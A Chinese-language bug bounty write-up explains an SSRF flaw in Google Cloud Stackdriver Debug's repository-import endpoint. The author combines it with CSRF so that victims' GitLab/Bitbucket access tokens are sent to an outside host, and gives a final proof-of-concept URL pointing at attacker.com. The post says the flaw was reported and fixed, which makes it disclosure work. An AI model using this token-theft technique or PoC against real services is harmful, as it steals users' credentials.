在阅读这篇好文后，我对GAE进行了测试。在测试中发现Google Cloud Platform Stackdriver中有一个调试应用，用户可以向该应用导入源代码并进行调试。用户可以从Github，Gitlab或者Bitbucket中导入源代码，并直接在Stackdriver Debug页面中调试代码（详情见此）。
如果不正确地集成第三方应用程序会导致问题。我在测试此项功能的过程中就发现了一种特殊的SSRF漏洞。
让我们看看具体是怎么回事：
如果部署了App Engine应用，就可以在https://console.cloud.google.com/debug上看到有多种方法来将源代码导入这个调试应用。
单击Bitbucket上的“Select Source”按钮会弹出一个授权页面，问你是否允许Google在该应用中存储oauth令牌。
在oauth页面中授权后，用户将被重定向回google，并显示用户的bitbucket/gitlab/github仓库的详细信息
到目前为止，一切看起来都挺安全的，redirect_uri不能被篡改，state参数也使用正确。Google实际上是如何获取仓库列表和分支名称的呢？发现是通过两个请求：
第一个是列出来自bitbucket/gitlab/github的仓库
https//console.cloud.google.com/m/clouddiag/debug/v2/gitlab/listpid=groovy-plating- 250224
第二个是列出bitbucket/gitlab/github中的分支
https://console.cloud.google.com/m/clouddiag/debug/v2/gitlab/resourcelist?pid=groovy-plating-250224&url=https%3A%2F%2Fgitlab.com%2Fapi%2Fv4%2Fprojects%2Fprojectid%252Fproject-one%2Frepository%2Ftags
第二个对应解码为
https://console.cloud.google.com/m/clouddiag/debug/v2/gitlab/resourcelist?pid=groovy-plating-250224&url=https://gitlab.com/api/v4/projects/projectid/project-one/repository/tags
可以看到有个url参数，我把https://gitlab.com替换为https://xxxxxxx.burpcollaborator.net然后尝试判断是否存在SSRF保护。发现竟然是没有的。
更令人惊讶的是，从Burp Collaborator抓到的SSRF请求中还有些其他内容：
GET /?per_page=100 HTTP/1.1
Host: evdjffp55g27sbbipe7uqzx1tszin7.burpcollaborator.net
Connection: keep-alive
Upgrade-Insecure-Requests: 1
Authorization: Bearer 123bcad14289c8a9d3这个请求带有包含Bitbucket access token（访问令牌）的Authorization请求头。考虑到这一点，可以将访问令牌和SSRF请求组合发送。因为如果没有用户访问令牌的话，Google不可能从API endpoint请求到个人信息。
现在已经清楚了解Google是如何和第三方应用程序集成并导入源代码的，以及Google如何从不同的API endpoint获取资源（比如分支名称，标签等）。
于是到了最后一步，利用这个SSRF漏洞将用户访问令牌发送到我们指定的任意url。思路很清晰，请求只是GET而不是POST，如果能够对终端用户实施GET请求的CSRF攻击，就只要构造exp url发给用户，于是Google的这个SSRF就会将受害者的访问令牌发给我们。
所幸的是请求中没有CSRF请求头，但是仍然有些请求头可能会阻止我们利用这个漏洞。比如x-pan-versionid、X-Goog-Request-Log-Data和网址为https://console.cloud.google.com/的Referer。如果在后端检查是否设置了这些请求头，同时验证Referer域名是否和发出SSRF请求前的console.cloud.google.com一致的话，漏洞就没法利用了。幸运的是，后端没有进行验证。
总而言之，为了利用此漏洞，攻击者需要一台监听HTTPS请求的服务器（比如burp collaborator），然后精心构造url，发送给将bitbucket/gitlab/github连接到Stackdriver的受害者，然后攻击者就能窃取来自Google SSRF请求中的访问令牌。
最终PoC：
https://console.cloud.google.com/m/clouddiag/debug/v2/gitlab/resourcelist?pid=groovy-plating-250224&url=https%3A%2F%2fattacker.com%2Fstealing.json
希望你喜欢这篇文章，Google已经修复了这个漏洞，修复也不完美，但我仍然无法绕过验证。有兴趣的话可以看下，要是能够绕过可以向https://g.co/vulnz报告！